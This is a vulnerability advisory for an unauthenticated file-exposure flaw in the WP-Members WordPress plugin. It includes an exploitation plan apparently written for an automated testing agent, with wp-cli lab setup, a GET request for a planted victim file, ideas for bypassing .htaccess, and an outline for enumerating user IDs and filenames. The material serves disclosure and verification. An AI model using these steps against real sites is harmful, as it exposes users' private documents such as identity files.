WP-Members Membership Plugin <= 3.5.4.4 - Unauthenticated Information Exposure via Unprotected Files
Description
The WP-Members Membership Plugin for WordPress is vulnerable to unauthorized file access in versions up to, and including, 3.5.4.4. This is due to storing user-uploaded files in predictable directories (wp-content/uploads/wpmembers/user_files/<user_id>/) without implementing proper access controls beyond basic directory listing protection (.htaccess with Options -Indexes). This makes it possible for unauthenticated attackers to directly access and download sensitive documents uploaded by site users via direct URL access, granted they can guess or enumerate user IDs and filenames.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:NTechnical Details
<=3.5.4.4What Changed in the Fix
Changes introduced in v3.5.4.5
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2025-12648 ## 1. Vulnerability Summary The **WP-Members Membership Plugin (<= 3.5.4.4)** is vulnerable to **Unauthenticated Information Exposure**. The plugin allows administrators to define custom user profile fields, including "file" and "image" types. When user…
Show full research plan
Exploitation Research Plan - CVE-2025-12648
1. Vulnerability Summary
The WP-Members Membership Plugin (<= 3.5.4.4) is vulnerable to Unauthenticated Information Exposure. The plugin allows administrators to define custom user profile fields, including "file" and "image" types. When users upload documents (e.g., IDs, tax forms, or private attachments) through these fields, the plugin stores them in a predictable directory structure: wp-content/uploads/wpmembers/user_files/<user_id>/.
While the plugin attempts to prevent directory listing via a .htaccess file (Options -Indexes), it fails to implement any server-side authorization check for direct file access. Any unauthenticated attacker who can guess or enumerate a user_id and a filename can download sensitive user data via a direct URL.
2. Attack Vector Analysis
- Vulnerable Endpoint: Static file URL:
http://<target>/wp-content/uploads/wpmembers/user_files/<user_id>/<filename> - HTTP Method:
GET - Authentication Required: None (Unauthenticated)
- Preconditions:
- The plugin must be configured with at least one field of type
fileorimage. - At least one user must have uploaded a file to that field.
- The attacker must know or enumerate the
user_id(typically sequential integers) and thefilename(often the original name of the uploaded file).
- The plugin must be configured with at least one field of type
3. Code Flow
The specific upload handling logic resides in WP_Members_User_Profile::update (invoked via the profile_update hook), which is not provided in the snippets but is registered in includes/admin/class-wp-members-admin-api.php:
- Registration/Profile Update: A user submits a form containing a file.
- Hook Execution: The
profile_updateaction triggersWP_Members_User_Profile::update. - File Processing (Inferred): The plugin identifies fields of type
fileorimage. - Storage Logic (Inferred): Instead of using the standard WordPress Media Library (which uses randomized/date-based paths), the plugin moves the uploaded file to
wp-content/uploads/wpmembers/user_files/<user_id>/<filename>. - Lack of Access Control: The plugin does not serve these files through a PHP controller (which could check
current_user_can()). It relies on standard web server behavior, which serves any file inwp-content/uploads/unless explicitly blocked.
4. Nonce Acquisition Strategy
This vulnerability involves direct access to static files and does not interact with the WordPress AJAX or REST API endpoints. Therefore, no nonce is required to exploit the information exposure.
If setting up the test environment requires simulating an upload via the frontend, the agent should:
- Identify the registration page (often
/register/or a page with the[wpmem_form register]shortcode). - WP-Members typically does not require a nonce for its own registration/profile forms, relying instead on its internal state management.
5. Exploitation Strategy
The goal is to demonstrate that a file uploaded by "User A" can be downloaded by an unauthenticated "Attacker".
- Preparation: Configure the plugin to accept file uploads and create a victim user with an uploaded file.
- Discovery: Determine the exact path where the file is stored.
- Exploitation: Perform an unauthenticated GET request to the file URL using the
http_requesttool.
Target URL Pattern
http://localhost:8080/wp-content/uploads/wpmembers/user_files/<user_id>/<filename>
Request Payload
GET /wp-content/uploads/wpmembers/user_files/2/private_identity.pdf HTTP/1.1
Host: localhost:8080
6. Test Data Setup
The following steps must be performed via wp-cli to prepare the environment:
- Enable File Fields: WP-Members stores fields in the
wpmembers_fieldsoption. We must add a "file" field.wp eval ' $fields = get_option("wpmembers_fields"); $fields["my_private_file"] = [ "ID" => 99, "label" => "Private Document", "option_name" => "my_private_file", "type" => "file", "display" => "y", "required" => "n", "native" => "n", "order" => 10, ]; update_option("wpmembers_fields", $fields); ' - Create Victim User:
wp user create victim victim@example.com --user_pass=password123 --role=subscriber # Get the ID (likely 2) VICTIM_ID=$(wp user get victim --field=ID) - Simulate Upload: Since the vulnerability is the location and access, we can manually place a file in the expected directory to simulate a successful upload by the victim.
# Create the directory mkdir -p /var/www/html/wp-content/uploads/wpmembers/user_files/$VICTIM_ID/ # Create a "sensitive" file echo "SENSITIVE DATA: USER PASSPORT INFO" > /var/www/html/wp-content/uploads/wpmembers/user_files/$VICTIM_ID/passport.txt # Set the user meta so the plugin "knows" the file exists wp user meta update $VICTIM_ID my_private_file "passport.txt"
7. Expected Results
- An unauthenticated
GETrequest tohttp://localhost:8080/wp-content/uploads/wpmembers/user_files/2/passport.txtreturnsHTTP 200 OK. - The response body contains the string:
SENSITIVE DATA: USER PASSPORT INFO. - This confirms that the file is served directly by the web server without any WordPress authorization check.
8. Verification Steps
- Verify Path Existence:
ls -l /var/www/html/wp-content/uploads/wpmembers/user_files/2/passport.txt - Perform Unauthenticated Fetch:
Usehttp_request(Playwright) to fetch the URL without any cookies or authorization headers. - Confirm Disclosure: Verify the content of the fetched file matches the created "sensitive" file.
9. Alternative Approaches
If the plugin preserves the original file path differently (e.g., appending a timestamp), the agent should:
- Check the user meta for the victim:
wp user meta get 2 my_private_file. - If the meta value contains a full path or a randomized filename, use that specific value to construct the URL.
- Test if the
wpmembersdirectory has a.htaccessthat actually blocks all access (unlikely given the CVE description). If access is denied, try bypassing via common misconfigurations (e.g., accessing via/wp-content/uploads/wpmembers/user_files/2/passport.txt/or using a different casing if the OS is Case-Insensitive).
Summary
The WP-Members Membership Plugin for WordPress (<= 3.5.4.4) stores user-uploaded files in predictable directories based on the user's ID. Because the plugin lacks proper server-side authorization checks for direct file access, unauthenticated attackers can download sensitive documents by enumerating user IDs and filenames.
Vulnerable Code
// includes/api/api-utilities.php @ lines 352-369 function wpmem_get_user_upload_dir() { $upload_vars = wp_upload_dir( null, false ); $base_dir = $upload_vars['basedir']; $wpmem_base_dir = trailingslashit( trailingslashit( $base_dir ) . wpmem_get_upload_base() ); $wpmem_user_files_dir = $wpmem_base_dir . 'user_files/'; return array( 'upload_vars' => $upload_vars, 'base_dir' => $base_dir, 'wpmem_base_dir' => $wpmem_base_dir, 'wpmem_user_files_dir' => $wpmem_user_files_dir, ); }
Security Fix
@@ -40,6 +40,8 @@ global $wpmem; + add_filter( 'wpmem_admin_tabs', array( 'WP_Members_Admin_Tab_About', 'add_tab' ), 99 ); + if ( $wpmem->captcha ) { add_filter( 'wpmem_admin_tabs', array( 'WP_Members_Admin_Tab_Captcha', 'add_tab' ) ); add_action( 'wpmem_admin_do_tab', array( 'WP_Members_Admin_Tab_Captcha', 'do_tab' ), 1, 1 ); @@ -47,7 +49,18 @@ if ( $wpmem->dropins ) { add_filter( 'wpmem_admin_tabs', array( 'WP_Members_Admin_Tab_Dropins', 'add_tab' ) ); add_action( 'wpmem_admin_do_tab', array( 'WP_Members_Admin_Tab_Dropins', 'do_tab' ), 1, 1 ); - } ?> + } + + // @todo Adds tab for updating filesystem if /wpmembers/user_files/ exists. + $uploads = wp_upload_dir(); + $deprecated_folder = trailingslashit( $uploads['basedir'] ) . 'wpmembers/user_files'; + if ( is_dir( $deprecated_folder ) ) { + include_once $wpmem->path . 'includes/admin/tabs/class-wp-members-admin-tab-filesystem-upgrade.php'; + add_filter( 'wpmem_admin_tabs', array( 'WP_Members_Admin_Filesystem_Upgrade', 'add_tab' ), 98 ); + add_action( 'wpmem_admin_do_tab', array( 'WP_Members_Admin_Filesystem_Upgrade', 'do_tab' ), 98 ); + } + + ?>
Exploit Outline
An attacker targets a WordPress site using WP-Members where users upload private files (like identity documents) via profile fields. The attacker constructs a direct URL to the predicted storage path: `/wp-content/uploads/wpmembers/user_files/[user_id]/[filename]`. By enumerating sequential user IDs and common filenames, the attacker can perform unauthenticated GET requests to download sensitive user data, as the plugin relies on directory listing protection (.htaccess) but does not restrict direct file access via PHP-server side authorization checks.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.